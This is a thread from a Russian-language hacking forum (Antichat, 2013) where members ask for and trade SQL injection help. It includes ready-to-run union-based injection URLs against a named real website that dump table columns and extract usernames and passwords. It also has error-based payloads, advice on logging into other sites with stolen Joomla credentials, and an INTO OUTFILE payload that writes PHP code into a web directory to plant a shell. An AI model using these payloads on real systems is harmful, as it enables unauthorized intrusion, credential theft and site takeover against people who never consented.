Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. BlackIce

    BlackIce Elder - Старейшина

    Joined:
    10 Jan 2013
    Messages:
    100
    Likes Received:
    31
    Reputations:
    27
    может просто внимательней быть?
    >>Где и как найти эти userpwd,0x3a,user rights
    0x3a - это хекс код разделителя, а остальные - названия столбцов таблицы. Как найти написано в статье Dr.Zero
     
    1 person likes this.
  2. usupekx

    usupekx New Member

    Joined:
    3 Jul 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    действительно, описАлся. Но, увы, не помогло

    читал не раз статью эту и нетолько её. про хекс это понятно, просто вставил.

    попробую конкретнее задать вопрос. может ли быть такое что только брут форсом будут подобраны названия столбцов? Или всё-таки их можно выудить?
     
    #22322 usupekx, 10 Jul 2013
    Last edited: 10 Jul 2013
  3. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    http://terrapex.ca/en/realisation.php?larealisation=x&id=(16)and(0)union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,[B][COLOR=DarkOrange]table_name[/COLOR][/B],0x3a,column_name))))x),3,4,5,6--+
    Code:
    http://terrapex.ca/en/realisation.php?larealisation=x&id=(16)and(0)union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from([B][COLOR=DarkOrange]web_terrapex_ca.intranetusers[/COLOR][/B])where(0x00)in(@x:=concat(@x,0x3c62723e,userName,0x3a,userPass))))x),3,4,5,6--+
    Code:
    http://terrapex.ca/en/realisation.php?larealisation=x&id=(16)and(0)union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from([B][COLOR=DarkOrange]web_terrapex_ca.users[/COLOR][/B])where(0x00)in(@x:=concat(@x,0x3c62723e,userrights,0x3a,userpwd))))x),3,4,5,6--+
     
    _________________________
    1 person likes this.
  4. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    хтонить в курсе, есть ли в БД ждомлы запись о том какой домен пренадлежит базе? ато так пробежался и ничего путного не нашол
     
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Точный адрес в БД Jooml'ы не прописан, наксколько мне известно, но возможно возможно подскажет следующее:

    1. Select email from jos_users where usertype='Super Administrator'

    Смотрим мыло админа, довольно часто бывает что в названии админского мыла указывается источник на домен, например admin@искомый_домен.com. Если же нет, и там просто мыло типа mail.ru, то можно пройти сюда 2ip.ru/domain-list-by-email/, вести полученное мыло, и если повезет и поиск выдаст какие-то домены, найти те, сайты которых на Jooml'e. Возможно искомый домен окажется в этом списке.

    2. Select title from jos_categories

    Получаем заголовки страниц, хранящихся в БД. Далее идем в гугл и составляем поисковый запрос, что-то типа intitle:"Полученный title". Опять таки, если повезет, то в выдаче гугла можно найти сайт по искомому заголовку.

    3. Просто посмотреть на сайты, находящиеся на этом ip, если их там не много, и не влом этим заниматься, то отсеять все, которые не на Jooml'e, ну а в оставшиеся попытаться войти, используя полученные данные из jos_users. Авось повезет.

    Но, это все конечно не панацея и не дает 100% результат в поиске искомого домена. Так, информация к размышлению, скорее :)
     
    4 people like this.
  6. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Подскажите возможно ли как-то автоматически скопировать все ссылки сайтов из гугла по определённому запросу,чтоб не копировать всё по одному?Спасибо.
     
  7. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Никто не в курсе?
     
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    пишешь скрипт парсера выдачи и парсишь, проблем?
     
  9. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75

    ммм, сенкс, а в phpbb есть чёнибуть для наводки?
     
  10. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    В случае с phpbb все гораздо прозрачнее.

    PHP:
    SELECT config_value FROM phpbb_config WHERE config_name='server_name'
    Получаем домен, на котором расположен форум.

    PHP:
    SELECT config_value FROM phpbb_config WHERE config_name='script_path'
    Получаем конечную папку с форумом, доступную из веба.
     
    3 people like this.
  11. Voinmraka

    Voinmraka New Member

    Joined:
    23 Nov 2010
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    При подстановке разных параметров в значения через POST, увидел такую ошибку

    PHP:
    INSERT INTO `ap_form_0` (`ip_address`,`date_created`) VALUES ('мой ip','2013-07-14 15:59:15'); Query failedTable 'formy.ap_form_0' doesn't exist
    это ошибка возникает если подставить "-" в параметр, если кавычку то все работает без ошибок, как то можно что то с этим сделать, и как я понял он не может найти указанную таблицу, то есть если и можно, то придется подбирать имя таблицы и поля?
     
  12. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    Если эти значения, включая и ип передаются через POST, можно попробовать вручную вызвать ошибку, в которой будет выведена интересующая информация, конечно если там и ' не фильтруются.
     
  13. Voinmraka

    Voinmraka New Member

    Joined:
    23 Nov 2010
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    какие бы я запросы не вводил в уязвимый параметр все равно все остается также как я написал выше, разве что время меняется...

    PHP:
    SELECT FROM `ap_form_-1_reviewWHERE id='' Query failedTable 'zodiacsi_formy.ap_form_-1_review' doesn't exist
    еще нашел вот это... есть параметр id= если туда ввести значение -1 то выйдет вот это
     
    #22333 Voinmraka, 15 Jul 2013
    Last edited: 15 Jul 2013
  14. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Хм, интересный случай... А если ввести так...

    Code:
    Сначала поищем количество полей в таблице 
    
    ap_form_1_review
    
    id=1[COLOR=Yellow]` order by 1 --[/COLOR]
    
    id=1[COLOR=Yellow]` order by 100 --[/COLOR]
    
    id=1[COLOR=Yellow]` union select 1,2,3,4,5 --[/COLOR]
    Ну или попробовать вариант с error-based

    Code:
    id=1[COLOR=Yellow]` union select * from(select * from(select NAME_CONST((select version()), 14)d) as t join (select NAME_CONST((select version()), 14)e) b)a --[/COLOR] 
    А вообще хотелось бы увидеть линк в ПМ, можно поэкспериментировать...
     
    _________________________
  15. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Так же не будет работать, если правильную таблицу указать, например:
    Code:
    id=1_review` [COLOR=Red]SQL[/COLOR] -- 1
    
    Voinmraka, у вас же инъекция в имени таблицы...
     
  16. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    SELECT * FROM `ap_form_-1_review`

    Хм, точно, просмотрел что там ещё окончание таблицы дописывается.

    Ну значит просто добавлять

    id=1_review` order by 1 --

    и по аналогии
     
    _________________________
  17. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    Подскажите пожалуйста, как в MySQL выполнить запрос into outfile в такой конструкции:
    script.php?id=(1)and(extractvalue(0x3b,concat(0x3b,(select+version()))))
    Имею мускуль рута и не экранирующиеся кавычки, команда load_file() работает нормально, но как только я пытаюсь сделать следующий запрос:
    script.php?id=(1)and(extractvalue(0x3b,concat(0x3b,(select+user+from+table+into+outfile+'C:\tmp\test.php')))) мускуль мне выдаёт ошибку:
    Code:
    ...блаблабла MySQL server version for the right syntax to use near 'into outfile 'C:\tmp\test.php'))))and'
    На сервере винда, и интерпретатор ASP, а база данных мускуль.... есть ли возможность записи в файл в подобном случае?
     
  18. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Нет смысла использовать extractvalue при записи(При чтении - да) в файл в error-based инъекциях, дейлайте как это обычно делается...
     
  19. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Насколько я помню, при extractvalue не действует способ into outfile.

    Попробуй так

    Code:
    or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select 1 into outfile '[COLOR=Yellow]/usr/home/www/test.php[/COLOR]' lines terminated by "[COLOR=Yellow]<? php code ?>[/COLOR]"),floor(rand(0)*2)))
    Судя по всему с пробелами у тебя запара. Но, думаю, в "скобочный" вариант переделать сам сможешь.
     
    _________________________
  20. kcash

    kcash New Member

    Joined:
    6 Apr 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Есть доступ к сайту через Phpmyadmin пользователь sa что там можно сделать? Injection в сам PHPMYADMIN можно затеять?
     
Thread Status:
Not open for further replies.